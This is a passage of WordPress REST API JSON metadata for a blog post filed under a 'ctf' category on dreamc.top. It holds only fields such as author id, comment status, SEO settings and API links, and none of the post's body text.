[&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-163","post","type-post","status-publish","format-standard","hentry","category-ctf"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/163","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=163"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/163\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=163"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=163"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=163"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}